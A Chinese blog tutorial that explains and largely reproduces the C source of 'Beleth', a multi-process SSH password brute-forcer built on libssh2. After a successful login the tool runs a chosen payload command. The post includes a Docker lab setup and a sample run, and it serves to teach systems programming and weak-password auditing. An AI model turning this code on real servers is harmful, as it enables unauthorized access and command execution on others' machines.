平时做内网安全巡检、服务器日常运维自查的时候,最头疼的就是挨个手动登录服务器检查弱口令,一台一台试账号密码效率极低,遇上几十上百台内网机器根本忙不过来。今天就借着这套纯 C 语言写的开源审计源码,从头到尾唠明白这种SSH 批量密码检测工具到底是怎么写出来的,底层逻辑怎么走,用到哪些系统编程知识、网络协议知识,还有实际运行起来整套流程。
一、先说说这玩意儿到底解决了什么问题
假设你是一名运维工程师,公司里有几十台Linux服务器,你想知道有多少台还在用root/123456这种弱口令。手动一台台登录试?太慢。写个脚本循环读取字典文件逐个试?还是慢,而且前一个密码连接超时了,后一个只能干等着。
核心痛点就两个:慢,和任务分配乱。
所以需要一个能"同时开十几个、几十个连接一起试"的工具,而且得有一个"大脑"来统一分配密码------这个试过了给那个,试完了的及时收工,谁试成功了马上通知大家下班。这就是并发SSH口令审计器要解决的事。
二、整体架构:一个"中央厨房"加一群"外卖骑手"
别看代码几百行,架构其实特别像外卖平台:
- 中央厨房(任务调度器):手里攥着一本密码本(一个链表),通过对讲机(UNIX Socket)给骑手发订单(密码)。
- 外卖骑手(工作进程):每个骑手只负责敲一家门(目标SSH服务器),拿到密码就去试钥匙。
- 对讲机系统:骑手喊"我要新密码",厨房翻一页密码本念给他听;如果密码本翻完了,厨房说"没单了,下班吧"。
为什么要这么设计? 因为密码尝试是"CPU等网络"的典型场景------发一个密码过去,服务器要思考几百毫秒才回你对错。这段时间与其让程序傻等,不如让其他进程去试别的密码。但多个进程如果都去读同一个文件,容易乱套,所以必须有一个"中央厨房"统一派单。
三、代码核心模块拆解(大白话版)
1. 先把密码本串成一根绳(read_wordlist)
程序启动后,第一件事是把字典文件(比如wordlist.txt)里的每一行读出来,串成一个单向链表。就像把一摞写着密码的纸条,每张右下角粘上下一张,连成一根可以顺藤摸瓜的绳子。这样做的好处是调度器可以"一张一张往下抽",不需要关心前面试过了多少。
2. 搭建内部对讲机(listen_sock / connect_sock)
工作进程和调度器之间要说话,用的是UNIX域套接字 (Unix Domain Socket),本质上是在硬盘上创建一个.sock文件,双方通过这个文件描述符传数据。
- 为什么不用网络Socket?因为调度器和工作进程都在同一台机器上,走网卡反而绕远路。UNIX Socket直接走内核内存拷贝,速度快得多。
- 为什么不用管道(Pipe)?因为Socket支持
select同时监视多个连接,而且方便以后改成网络版(比如分布式审计)。
调度器端先socket创建、bind绑定到.sock文件、listen监听;工作端启动后connect连上去。每个工作进程都有自己独立的连接,互不干扰。
3. 中央厨房的大脑(init_pw_tasker)
这是整个程序最精密的部位。调度器进程用select()这个老牌的I/O多路复用函数,同时盯着所有工作进程的Socket连接。
它的工作逻辑就像一个不断循环的客服接线员:
- 收到 "REQ_PW"(请求密码):从链表里取下一张密码纸条发过去。如果链表空了,就回一个"NO_PW",并且在本子上记一笔:又有一个工人可以下班了。
- 收到 "FND_PW"(找到密码):立刻标记"已破案",同时减少活跃工人数量(因为成功的这个工人已经完成任务,不需要再试其他密码了)。
- 所有工人都下班了 :关闭Socket文件,删掉
.sock,释放链表内存,优雅退出。
这里用select而不是多线程,是因为调度器本身逻辑简单,就是"读请求、发密码",单线程加select足够应付上百个连接,而且避免了线程同步的锁问题。
4. 外卖骑手怎么敲门(crack_thread)
每个工作进程(虽然函数名叫thread,但代码里是用fork创建的进程)的循环特别像工厂流水线:
- 连接SSH服务器 :调用
session_init建立TCP连接,初始化libssh2会话。如果失败了(比如网络闪了一下),不是直接报错,而是清理现场、睡400微秒、重连。这个设计很接地气------SSH服务器往往有连接频率限制,或者网络偶尔抽风,直接重试比直接死掉更靠谱。 - 要密码 :通过对讲机向调度器发送一个字节
REQ_PW,然后阻塞读取回复。 - 试钥匙 :调用
libssh2_userauth_password,把用户名和刚拿到的密码塞进去。 - 判断结果 :
- 密码错了(
LIBSSH2_ERROR_AUTHENTICATION_FAILED):没事,继续要下一个密码。 - 其他错误(比如连接断了):重新建立SSH会话,重连服务器,再试。
- 密码对了 :打印成功信息,执行预设命令(默认是
uname -a && id),然后给调度器发一个FND_PW,自己光荣退休。
- 密码错了(
5. 总指挥(main函数)
main函数就像公司老板,负责招人和定规矩:
- 解析命令行:目标IP(
-t)、端口(-p)、用户名(-u)、字典(-w)、线程数(-l)、成功后执行的命令(-c)。 - 初始化libssh2库(这是SSH协议的底层实现库)。
- 加载密码字典。
- 创建UNIX Socket。
- fork出调度器进程 (这个进程专门跑
init_pw_tasker)。 - fork出N个工作进程 (循环创建,每个都有自己的上下文结构体
t_ctx)。 - 最后老板自己也不闲着,调用
waitpid等着调度器收工,然后做全局清理。
四、程序运行流程原理图
c
struct t_ctx
{
int sock;
int fd;
int port;
char host[21];
LIBSSH2_SESSION *session;
};
struct t_ctx *t_current;
struct pw_list
{
char pw[MAX_PW_LENGTH];
struct pw_list *next;
};
struct pw_list *pw_head;
struct pw_list *pw_tail;
int init_thread_ctx(char *host, int port, struct t_ctx *ptr);
int init_pw_list(char *pw);
int add_pw_list(char *pw);
void destroy_pw_list(void);
int waitsocket(int socket_fd, LIBSSH2_SESSION *session);
void session_cleanup(int sock, LIBSSH2_SESSION *session);
int session_init(char *host, int port, LIBSSH2_SESSION *session);
int drop_payload(int sock, LIBSSH2_SESSION *session, char *cmdline);
...
int read_wordlist(char *path) {
FILE *wordlist;
char line[256];
int cnt = 0;
wordlist = fopen(path,"r");
if (wordlist == NULL) {
fprintf(stderr,"[!] Unable to open file %s\n",path);
return -1;
}
while (fgets(line,sizeof(line)-1, wordlist) != NULL) {
++cnt;
line[strlen(line)-1] = '\0';
add_pw_list(line);
}
fprintf(stdout, "[*] Read %d passwords from file.\n",cnt);
fclose(wordlist);
return 1;
}
void print_help(char *cmd) {
fprintf(stderr,"Usage: %s [OPTIONS]\n",cmd);
fprintf(stderr,"\t-c [payload]\tExecute payload on remote server once logged in\n");
fprintf(stderr,"\t-h\t\tDisplay this help\n");
fprintf(stderr,"\t-l [threads]\tLimit threads to given number. Default: 10\n");
fprintf(stderr,"\t-p [port]\tSpecify remote port\n");
fprintf(stderr,"\t-P [password]\tUse single password attempt\n");
fprintf(stderr,"\t-t [target]\tAttempt connections to this server\n");
fprintf(stderr,"\t-u [user]\tAttempt connection using this username\n");
fprintf(stderr,"\t-v\t\t-v (Show attempts) -vv (Show debugging)\n");
fprintf(stderr,"\t-w [wordlist]\tUse this wordlist. Defaults to wordlist.txt\n");
}
/* Display banner */
void print_banner()
{
int i;
int with = 40;
struct printTextFormat utf8format = {
"\342\224\214", /* ┌ */
"\342\224\220", /* ┐*/
"\342\224\224", /*└ */
"\342\224\230", /* ┘ */
"\342\224\200", /* ─ */
"\342\224\202" /* │ */
};
printf("\e[32m\e[40m");
printf("%s", utf8format.tlc);
for (i = 0; i < with; ++i)
printf("%s", utf8format.hrb);
printf("%s\n", utf8format.trc);
printf("%s", utf8format.vrb);
printf(" Beleth ");
printf("%s\n", utf8format.vrb);
printf("%s", utf8format.vrb);
printf(" www.chokepoint.net ");
printf("%s\n", utf8format.vrb);
printf("%s", utf8format.blc);
for (i = 0; i < with; ++i)
printf("%s", utf8format.hrb);
printf("%s", utf8format.brc);
printf("\e[0m\n");
}
void crack_thread(struct t_ctx *c_thread) {
char buf[256];
int rc;
if (verbose >= VERBOSE_DEBUG)
fprintf(stderr, "[*] (%d) Connecting to: %s:%d\n",getpid(),c_thread->host,c_thread->port);
while ((c_thread->sock = session_init(c_thread->host,c_thread->port,c_thread->session)) == -1) {
if (verbose >= VERBOSE_DEBUG)
fprintf(stderr,"[!] Unable to connect to %s:%d\n",c_thread->host,c_thread->port);
session_cleanup(c_thread->sock, c_thread->session);
c_thread->session = libssh2_session_init();
usleep(sleep_timeout);
}
while (1) {
memset(buf,0x00,sizeof(buf));
snprintf(buf, sizeof(buf)-1,"%c",REQ_PW);
write(c_thread->fd, buf, strlen(buf));
rc = read(c_thread->fd, buf, sizeof(buf)-1);
if (rc == -1) {
if (verbose >= VERBOSE_DEBUG)
fprintf(stderr, "[!] Error reading from UNIX sock\n");
return;
}
if (buf[0] == NO_PW) {
session_cleanup(c_thread->sock, c_thread->session);
exit(0);
}
if (verbose >= VERBOSE_ATTEMPTS)
fprintf(stderr,"[+] (%d) Trying %s %s\n",getpid(),username,buf);
if ((rc=libssh2_userauth_password(c_thread->session, username, buf))) {
if (rc != LIBSSH2_ERROR_AUTHENTICATION_FAILED) {
session_cleanup(c_thread->sock, c_thread->session);
c_thread->session = libssh2_session_init();
while ( (c_thread->sock = session_init(c_thread->host,c_thread->port, c_thread->session)) == -1) {
if (verbose >= VERBOSE_DEBUG)
fprintf(stderr, "[!] Unable to reconnect to %s:%d\n",c_thread->host,c_thread->port);
session_cleanup(c_thread->sock,c_thread->session);
c_thread->session = libssh2_session_init();
usleep(sleep_timeout);
}
}
} else {
printf("[*] Authentication succeeded (%s:%s@%s:%d)\n",username, buf, c_thread->host, c_thread->port);
printf("[*] Executing: %s\n",cmdline);
if (drop_payload(c_thread->sock,c_thread->session,(char *)cmdline) == -1) {
if (verbose >= VERBOSE_DEBUG)
fprintf(stderr, "Error executing command.\n");
}
buf[0] = FND_PW;
buf[1] = '\0';
write(c_thread->fd,buf,strlen(buf));
return;
}
}
}
int listen_sock(int backlog) {
struct sockaddr_un addr;
int fd,optval=1;
if ((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
if (verbose >= VERBOSE_DEBUG)
fprintf(stderr, "[!] Error setting up UNIX socket\n");
return -1;
}
fcntl(fd, F_SETFL, O_NONBLOCK); /* Set socket to non blocking */
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(int));
memset(&addr,0x00,sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, sock_file, sizeof(addr.sun_path)-1);
unlink(sock_file);
if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
if (verbose >= VERBOSE_DEBUG)
fprintf(stderr, "[!] Error binding to UNIX socket\n");
return -1;
}
if (listen(fd, backlog) == -1) {
if (verbose >= VERBOSE_DEBUG)
fprintf(stderr, "[!] Error listening to UNIX socket\n");
return -1;
}
return fd;
}
int connect_sock(void) {
int fd;
struct sockaddr_un addr;
if ((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
if (verbose >= VERBOSE_DEBUG)
fprintf(stderr, "[!] Error creating UNIX socket\n");
return -1;
}
memset(&addr,0x00,sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, sock_file, sizeof(addr.sun_path)-1);
if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
if (verbose >= VERBOSE_DEBUG)
fprintf(stderr, "[!] Error connecting to UNIX socket\n");
return -1;
}
return fd;
}
void init_pw_tasker(int unix_fd, int threads) {
...
FD_ZERO(&master);
FD_SET(unix_fd,&master);
while(1) {
readfds = master;
i = select(fdmax+1,&readfds,NULL,NULL,NULL);
if (i > 0) {
char buf[256];
memset(buf,0x00, sizeof(buf));
for (rc = 0; rc <= fdmax; ++rc) {
if (FD_ISSET(rc, &readfds)) {
if (rc == unix_fd && (newfd = accept(unix_fd,NULL,NULL)) != -1) {
if (newfd > fdmax)
fdmax = newfd;
FD_SET(newfd,&master);
continue;
}
read(rc, buf, sizeof(buf)-1);
switch(buf[0]) {
case REQ_PW:
if (current_pw == NULL) {
buf[0] = NO_PW;
buf[1] = '\0';
write(rc,buf,strlen(buf));
++child_count;
if (verbose >= VERBOSE_DEBUG)
fprintf(stderr,"Killing child muahaha: %d / %d\n",child_count,threads);
if (child_count == 1)
printf("[*] Cleaning up child processes.\n");
if (child_count == threads) {
close(unix_fd);
unlink(sock_file);
destroy_pw_list();
if (auth == 0)
printf("[!] No password matches found.\n");
exit(0);
}
} else {
write(rc, current_pw->pw, strlen(current_pw->pw));
current_pw = current_pw->next;
}
break;
case FND_PW:
current_pw = NULL;
--threads;
auth=1;
break;
default:
break;
}
}
}
}
}
}
int main(int argc, char *argv[]) {
...
char host[21] = "127.0.0.1", str_wordlist[256] = "wordlist.txt";
pid_t pid, task_pid;
verbose = 0;
rc = libssh2_init (0);
if (rc != 0) {
fprintf (stderr, "[!] libssh2 initialization failed (%d)\n", rc);
return 1;
}
if (argc > 1) {
while ((c_opt = getopt(argc, argv, "hvp:t:u:w:c:l:P:")) != -1) {
switch(c_opt) {
case 'h':
print_help(argv[0]);
exit(0);
break;
case 'v':
++verbose;
break;
case 'p':
remote_port = atoi(optarg);
if (remote_port <= 0) {
fprintf(stderr, "[!] Must enter valid integer for port\n");
exit(1);
}
break;
case 't':
strncpy(host,optarg,sizeof(host)-1);
break;
case 'u':
strncpy(username,optarg,sizeof(username)-1);
break;
case 'w':
strncpy(str_wordlist,optarg,sizeof(str_wordlist)-1);
break;
case 'c':
strncpy(cmdline,optarg,sizeof(cmdline)-1);
break;
case 'l':
threads = atoi(optarg);
if (threads <= 0 || threads >= 100) {
fprintf(stderr, "[!] Thread limit must be between 1 and 99\n");
exit(1);
}
break;
case 'P':
threads = single_pw = 1;
add_pw_list(optarg);
break;
default:
fprintf(stderr, "[!] Invalid option %c\n",c_opt);
exit(1);
}
}
} else {
print_help(argv[0]);
exit(1);
}
print_banner();
if (!single_pw) {
if (read_wordlist(str_wordlist) == -1)
return 1;
} else {
printf("[*] Loaded one password\n");
}
printf("[*] Starting task manager\n");
if ((unix_fd = listen_sock(threads)) == -1) {
destroy_pw_list();
exit(1);
}
pid = fork();
if (pid < 0) {
fprintf(stderr, "[!] Couldn't fork!\n");
destroy_pw_list();
exit(1);
} else if (pid == 0) {
init_pw_tasker(unix_fd, threads );
} else {
task_pid = pid;
}
printf("[*] Spawning %d threads\n",threads);
printf("[*] Starting attack on %s@%s:%d\n",username,host,remote_port);
for (i = 0; i < threads; ++i) {
struct t_ctx *ptr = (struct t_ctx*)malloc(sizeof(struct t_ctx));
init_thread_ctx(host, remote_port, ptr);
pid = fork();
if (pid < 0) {
fprintf(stderr, "[!] Couldn't fork!\n");
destroy_pw_list();
exit(1);
} else if (pid == 0) {
crack_thread(t_current);
if (ptr != NULL)
free(ptr);
} else {
if (ptr != NULL)
free(ptr);
}
}
int status;
waitpid(task_pid, &status, 0);
destroy_pw_list();
libssh2_exit();
return 0;
}
流程图:
[程序启动]
│
▼
[读取密码字典文件] ──────► 生成密码链表(password1 -> password2 -> ...)
│
▼
[创建 UNIX Socket 文件 beleth.sock]
│
├──────────────────────────┐
▼ ▼
[ fork 调度器进程 ] [ fork 工作进程1 ] ... [ fork 工作进程N ]
(跑 init_pw_tasker) (跑 crack_thread) (跑 crack_thread)
│ │ │
│ ▼ ▼
│ [连接目标SSH:22] [连接目标SSH:22]
│ │ │
│ ▼ ▼
│ [Socket写: REQ_PW] [Socket写: REQ_PW]
│ │ │
▼ ▼ ▼
[select()阻塞监听] ◄──────── 发 password1 发 password2
│ │ │
│ ▼ ▼
│ [libssh2尝试登录] [libssh2尝试登录]
│ │ │
│ ┌───────────┴───────────┐ │
│ ▼ ▼ ▼
│ [密码错误] [连接断开] [密码错误]
│ │ │ │
│ ▼ ▼ ▼
│ [再要新密码] [重连服务器] [再要新密码]
│ │ │ │
│ └───────────┬───────────┘ │
│ ▼ │
│ [密码正确!] │
│ │ │
│ ▼ │
│ [执行命令: uname -a && id] │
│ │ │
│ ▼ │
│ [Socket写: FND_PW] │
▼ │ │
[收到成功信号] ◄─────────────┘ │
│ │
▼ ▼
[等所有工人收到 NO_PW 下班] [收到 NO_PW,退出进程]
│
▼
[销毁密码链表] ──► [删除 .sock 文件] ──► [libssh2_exit] ──► [程序结束]
If you need the complete source code, please add the WeChat number (c17865354792)
五、涉及的知识点与设计领域总结
这个看似不大的工具,其实横跨了好几个技术领域。我帮你梳理成一张知识地图:
1. 网络安全与渗透测试领域
- 字典攻击(Dictionary Attack):不同于无脑穷举所有字符组合,字典攻击基于"人类习惯用常见密码"的假设,用预置列表高效尝试。这是安全审计中最基础的弱口令检测手段。
- SSH协议与认证机制:基于口令的交互式认证,libssh2库完整封装了SSH2协议的握手、密钥交换、加密通道建立等复杂流程。
- 授权审计边界 :此类工具的核心价值在于自有资产的合规检查,而非非法入侵。这是区分安全工具与恶意软件的唯一标准。
2. Unix/Linux系统编程领域
- 进程控制(fork) :代码中大量使用
fork()创建子进程。虽然变量名和注释里习惯叫"thread",但C语言环境下这是地道的多进程架构。多进程的优势在于隔离性强------一个进程崩溃或被目标服务器拉黑,不影响其他进程继续工作。 - 进程间通信(IPC) :UNIX域套接字(
AF_UNIX)是本机进程通信的经典方案,数据不经过网卡协议栈,延迟极低。 - I/O多路复用(select) :调度器单线程同时监视几十个Socket的可读状态。这是Unix编程的"老三板斧"之一,虽然如今有
epoll/kqueue等更高效的后继者,但select的跨平台兼容性最好。
3. 网络编程与协议领域
- Socket生命周期 :创建(
socket)、绑定(bind)、监听(listen)、接受(accept)、读写(read/write)、关闭(close/unlink),完整展示了流式Socket编程的全流程。 - 非阻塞I/O(
fcntl+O_NONBLOCK) :调度器的监听Socket被设为非阻塞,配合select使用,避免在accept时卡住。 - 地址复用(
SO_REUSEADDR):虽然对UNIX Socket意义不大,但体现了网络编程中"快速重启不报错"的防御性编程习惯。
4. 数据结构与设计模式领域
- 单向链表:密码存储采用动态链表,支持运行时无限扩展(只受内存限制),且顺序遍历天然适合"发一个、挪一步"的调度逻辑。
- 生产者-消费者模式:调度器是密码生产者,工作进程是消费者,UNIX Socket连接是它们之间的有界缓冲区。
- Master-Worker(主从)架构:调度器为Master,工作进程为Worker,这是分布式计算和高并发服务中最通用的架构模式之一。
5. 健壮性设计领域
- 重连与退避机制 :
usleep(sleep_timeout)提供了400微秒的微小延迟,在连接失败时既不会疯狂重连打爆目标,又能快速恢复。 - 优雅退出 :所有退出路径都包含
destroy_pw_list()、unlink(sock_file)、libssh2_exit(),防止内存泄漏和残留文件污染系统。 - 边界检查 :
strncpy、sizeof(buf)-1等用法体现了C语言中防止缓冲区溢出的基本安全意识。
六、准备测试环境和运行测试
绝对不要拿别人的服务器测试。 建议在本机搭一个"靶子":
方法A:用 Docker 快速起一个带弱口令的SSH服务
bash
# 拉一个精简Linux镜像,安装openssh-server
docker run -d --name ssh-target \
-p 2222:22 \
alpine:latest \
sh -c "apk add openssh-server shadow bash && \
echo 'root:123456' | chpasswd && \
ssh-keygen -A && \
/usr/sbin/sshd -D"
# 测试连接
ssh -p 2222 root@127.0.0.1
# 输入密码 123456,确认能登录
方法B:用本地虚拟机或WSL
如果你本地已经有 Ubuntu/Debian 虚拟机,确保 openssh-server 在跑,并且你知道一个弱密码账户(或者临时创建一个测试账户)。
准备字典文件
创建一个 wordlist.txt,里面放几个密码,确保包含你靶机上实际存在的那个密码:
bash
cat > wordlist.txt << 'EOF'
admin
password
123456
root
jesus
test
EOF
运行测试
bash
./beleth -t 127.0.0.1 -p 2222 -u root -w wordlist.txt -l 4 -v
参数解释:
-t 127.0.0.1:目标IP-p 2222:SSH端口(Docker映射的端口)-u root:尝试的用户名-w wordlist.txt:密码字典-l 4:开4个并发进程-v:显示每次尝试(再加一个-v成-vv会显示调试信息)
预期输出:
[*] Read 6 passwords from file.
[*] Starting task manager
[*] Spawning 4 threads
[*] Starting attack on root@127.0.0.1:2222
[+] (12345) Trying root 123456
[*] Authentication succeeded (root:123456@127.0.0.1:2222)
[*] Executing: uname -a && id
[*] Cleaning up child processes.
总结
这段代码是典型的"小而全"的Unix网络工具范本。它没有用什么高大上的框架,就靠fork、select、socket、libssh2这几个系统调用和库函数,搭出了一个能跑、能扩展、不容易崩的并发程序。
读懂它,你收获的不只是一个SSH审计器的原理,而是Unix环境下"多进程 + IPC + I/O复用"这套经典组合拳的实战打法。这套打法从90年代用到现在,Nginx的Worker进程、Redis的持久化子进程、各种扫描器的并发引擎,骨子里都是类似的逻辑。
Welcome to follow WeChat official account【程序猿编码】